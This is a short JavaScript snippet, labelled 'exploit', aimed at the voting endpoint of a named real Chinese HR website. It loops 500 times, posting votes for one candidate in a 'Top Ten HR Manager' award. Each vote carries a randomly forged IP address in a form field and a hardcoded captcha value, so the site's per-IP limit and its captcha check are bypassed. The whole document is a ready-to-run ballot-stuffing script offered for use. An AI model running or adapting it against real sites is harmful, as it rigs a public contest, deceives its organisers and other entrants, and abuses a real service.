"exploit"http://hrclub.jxrcw.com/HRManage/BestEmployers/Code.html?height=130&width=300&modal=true&ip=182.18.102.41&jx=%E5%8D%81%E4%BD%B3%E4%BA%BA%E5%8A%9B%E8%B5%84%E6%BA%90%E7%BB%8F%E7%90%86%E4%BA%BA%E5%A5%96&voteid=2886&lx=0 and http://hrclub.jxrcw.com/HRManage/BestEmployers/personVote.aspx?

js_votes

function sleep(ms) {
  var start = new Date().getTime(), expire = start + ms;
  while (new Date().getTime() < expire) { }
  return;
}
//in [http://hrclub.jxrcw.com/HRManage/BestEmployers/Code.html?height=130&width=300&modal=true&ip=182.18.102.41&jx=%E5%8D%81%E4%BD%B3%E4%BA%BA%E5%8A%9B%E8%B5%84%E6%BA%90%E7%BB%8F%E7%90%86%E4%BA%BA%E5%A5%96&voteid=2886&lx=0].
var i;
for(i=0;i<500;i++){
	var v1 = Math.ceil(Math.random()*(255-1)+1);
	var v2 = Math.ceil(Math.random()*(255-1)+1);
	var v3 = Math.ceil(Math.random()*(255-1)+1);
	var v4 = Math.ceil(Math.random()*(255-1)+1);
	
	var ip = v1.toString() + "." +v2.toString() + "." +v3.toString()  + "." +v4.toString();
	console.log(ip);
	var postUrl="http://hrclub.jxrcw.com/HRManage/Post/zjgzVote.ashx";
	var httpRequest=new XMLHttpRequest();
	httpRequest.open('POST',postUrl, false);
	httpRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
	//httpRequest.setRequestHeader("User-Agent","Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36");
	//var data = "IP=" + ip + "&VOTEID=2886&CPJX=十佳人力资源经理人奖&LX=0";
	var data = "IP=" + ip + "&VOTEID=2886&CPJX=十佳人力资源经理人奖&LX=0&YZM=XBCB";
	httpRequest.send(data);
	console.log(httpRequest.responseText);
}